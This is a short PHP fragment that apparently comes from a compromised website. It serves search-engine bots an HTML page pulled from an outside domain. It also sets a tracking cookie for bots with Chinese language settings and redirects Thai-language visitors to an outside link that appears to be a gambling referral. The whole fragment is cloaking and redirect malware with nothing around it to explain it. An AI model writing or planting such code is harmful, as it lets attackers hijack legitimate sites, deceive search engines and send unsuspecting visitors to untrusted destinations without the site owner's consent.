$s_ref = $_SERVER['HTTP_REFERER']; $agent = $_SERVER['HTTP_USER_AGENT']; if (strpos($agent, 'bot') !== false && $_SERVER['REQUEST_URI'] == '/') { $accept_lang = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']); if (strpos($accept_lang, 'zh') !== false && $_SERVER['HTTP_UPGRADE_INSECURE_REQUESTS'] == 1 && $_COOKIE['az'] == 'lp') { setcookie('az', 'lp', time() + 3600 * 7200); echo ' '; // Your bot-specific content exit; } echo file_get_contents("https://sure4u.co.uk/wp-content/home/index.html"); exit; } $browserLang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); if ($browserLang == 'th') { header("Location: https://swiy.co/go_ufa55"); exit; }